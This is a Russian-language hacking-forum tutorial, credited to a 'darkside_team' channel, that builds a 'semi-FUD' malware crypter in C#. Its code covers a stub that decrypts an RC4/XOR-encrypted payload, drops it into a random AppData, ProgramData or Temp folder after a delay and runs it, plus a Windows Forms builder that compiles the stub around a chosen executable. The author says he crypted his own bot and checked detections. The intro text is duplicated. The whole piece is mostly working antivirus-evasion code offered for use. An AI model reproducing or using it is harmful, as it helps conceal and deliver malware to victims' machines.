Привет, skriptkiddies, сегодня мы напишем свой полу-FUD криптор на языке богов (no) C#.
Итак, прежде чем приступить к кодингу, разберём какие варианты крипторов есть:
Первый затяг. Принцип работы нашего криптора. Код стаба.
В решении у нас будет два проекта. Стаб криптора, и сам криптор.
Криптор будет передавать зашифрованные байты стабу, а сам стаб их расшифрует, дропнет файл в рандомную папку, и запустит его. Звучит просто, да и на деле это будет несложно.
Создаём новый консольный проект:
Объявим необходимые юзинги:
И теперь сделаем метод дропа файла в рандом папку и его запуска:
Далее просто скопируйте три метода: RC4 - который отвечает за шифр байтов, StringToByteArray - конвертирует строку в массив байтов, и XOR - который отвечает за шифр строки,
И импортируйте их в проект:
Осталось "собрать" главный метод, и стаб готов. А главный метод выглядит так:
Стаб готов, теперь копируем весь код и создаём txt файл, в который помещаем наш код.
Второй затяг. Пишем GUI.
Создаём новый проект Windows Forms.
Добавим юзинги:
В конструкторе добавляем 2 textbox'a, 3 button'a, ну и пару label'ов:
Для кнопки выбора файла создаём диалоговое окно:
Добавим методы шифра, получения рандомной строки, конвертирования массива байтов в строку:
Ну и методы XOR и RC4 такие же.
Для кнопки генерации ключа получаем рандом строку:
Теперь добавляем наш txt с кодом стаба в ресурсы проекта:
И добавим код для кнопки Build:
Криптор готов, проверяем.
Ну и детекты (криптовал своего бота):
Автор Dark $ide Admin
взято с канала darkside_team
Итак, прежде чем приступить к кодингу, разберём какие варианты крипторов есть:
- Имея байткод (любой .exe). То есть, вы сможете закриптовать файл, не зависимо от языка, на котором написана программа.
- Имея исходники. Этот вариант предназначен только под программы, написанные на одном (с криптором) ЯП.
- Крипторы с полиморфом/метаморфом. Если вкратце, то при помощи этих техник ваш криптор будет жить дольше, за счёт изменения кода файла, но при этом без изменения функционала.
Первый затяг. Принцип работы нашего криптора. Код стаба.
В решении у нас будет два проекта. Стаб криптора, и сам криптор.
Криптор будет передавать зашифрованные байты стабу, а сам стаб их расшифрует, дропнет файл в рандомную папку, и запустит его. Звучит просто, да и на деле это будет несложно.
Создаём новый консольный проект:
Объявим необходимые юзинги:
C#:
using System;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Threading;
C#:
static void DropAndRun(byte[] bytes, string fileName) // В качестве аргументов принимаем байты и имя файла
{
string[] dirs = new string[] // Создаём массив папок, в один из которых будет дропаться файл
{
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), // AppData
Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), // ProgramData
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), // LocalAppData
Path.GetTempPath() // Temp
};
C#:
Random random = new Random(); // Создаём переменную random, для генерации случайного числа
int pathIndex = random.Next(0, dirs.Length); // Определим индекс массива рандомно
C#:
string filePath = dirs[pathIndex] + "\\" + fileName; // Переменная, в которой хранится полный путь до файла
C#:
try
{
if (File.Exists(filePath)) // Делаем проверку на наличие файла в папке
{
File.Delete(filePath); // Если файл существует, то удаляем его
}
File.WriteAllBytes(filePath, bytes); // Записываем байты в файл
Process.Start(filePath); // Запускаем
}
C#:
catch { }
}
Далее просто скопируйте три метода: RC4 - который отвечает за шифр байтов, StringToByteArray - конвертирует строку в массив байтов, и XOR - который отвечает за шифр строки,
И импортируйте их в проект:
Осталось "собрать" главный метод, и стаб готов. А главный метод выглядит так:
C#:
static void Main()
{
Thread.Sleep(6000); // Делаем небольшую задержку перед запуском
byte[] encryptedBytes = StringToByteArray(XOR("[BYTES]")); // Сначала принимаем строку зашифрованных байтов (RC4 + XOR), декодируем XOR, в конце получаем зашифрованные байты.
byte[] passBytes = Encoding.Default.GetBytes("[PASSWORD]"); // Получаем байты пароля для RC4
byte[] decryptedBytes = RC4(passBytes, encryptedBytes); // Декодируем байты
DropAndRun(decryptedBytes, "build.exe"); // Дропаем и запускаем чистый файл
}
Второй затяг. Пишем GUI.
Создаём новый проект Windows Forms.
Добавим юзинги:
Код:
using Microsoft.CSharp;
using System;
using System.CodeDom.Compiler;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Windows.Forms;
Для кнопки выбора файла создаём диалоговое окно:
C#:
private void button1_Click(object sender, EventArgs e)
{
OpenFileDialog dialog = new OpenFileDialog();
dialog.Filter = "build.exe |*.exe"; // Фильтр
if (dialog.ShowDialog() == DialogResult.OK)
textBox1.Text = dialog.FileName; // Добавляем полный путь до файла в textBox1
}
Добавим методы шифра, получения рандомной строки, конвертирования массива байтов в строку:
C#:
static string ByteArrayToString(byte[] ba)
{
return BitConverter.ToString(ba).Replace("-", "");
}
C#:
static string RandomString(int size)
{
Random random = new Random((int)DateTime.Now.Ticks);
C#:
StringBuilder builder = new StringBuilder();
char ch;
for (int i = 0; i < size; i++)
{
ch = Convert.ToChar(Convert.ToInt32(Math.Floor(26 * random.NextDouble() + 65)));
builder.Append(ch);
}
C#:
return builder.ToString();
}
Для кнопки генерации ключа получаем рандом строку:
C#:
private void button2_Click(object sender, EventArgs e)
{
Random rnd = new Random();
int random = rnd.Next(6, 20); // Рандом цифра от 6 до 20
textBox2.Text = RandomString(random); //Помещаем рандом строку, с рандомной длинной
}
Теперь добавляем наш txt с кодом стаба в ресурсы проекта:
И добавим код для кнопки Build:
Код:
private void button3_Click(object sender, EventArgs e)
{
string bytesString = ByteArrayToString(RC4(Encoding.Default.GetBytes(textBox2.Text), File.ReadAllBytes(textBox1.Text))); //Шифруем байты, конвертируем шифрованные байты файла в строку
Код:
CompilerParameters Params = new CompilerParameters();
Params.GenerateExecutable = true;
C#:
Params.ReferencedAssemblies.Add("System.dll"); // Добавляем ссылку на System.dll
Params.CompilerOptions += "\n/t:winexe"; // Задаём тип выходных данных
Params.OutputAssembly = "Crypted.exe"; // Имя файла
C#:
string Source = Properties.Resources.Stub_2D2D; // Переменная, в которой хранится код стаба
Source = Source.Replace("[BYTES]", XOR(bytesString)); // Заменяем строку [BYTES], на заксоренную строку с шифрованными байтами
Source = Source.Replace("[PASSWORD]", textBox2.Text); // Заменяем пароль для RC4
Код:
var settings = new Dictionary<string, string>();
settings.Add("CompilerVersion", "v4.0"); // Указываем версию целевой платформы
Код:
CompilerResults Results = new CSharpCodeProvider(settings).CompileAssemblyFromSource(Params, Source);
C#:
if (Results.Errors.Count > 0)
{
foreach (CompilerError err in Results.Errors) // Если есть ошибки, выводим их циклом
MessageBox.Show(err.ToString());
}
else
{
MessageBox.Show("Crypted!", "2D2D Cryptor"); // Иначе, выводим сообщение, что всё гуд
}
}
Криптор готов, проверяем.
Ну и детекты (криптовал своего бота):
Автор Dark $ide Admin
взято с канала darkside_team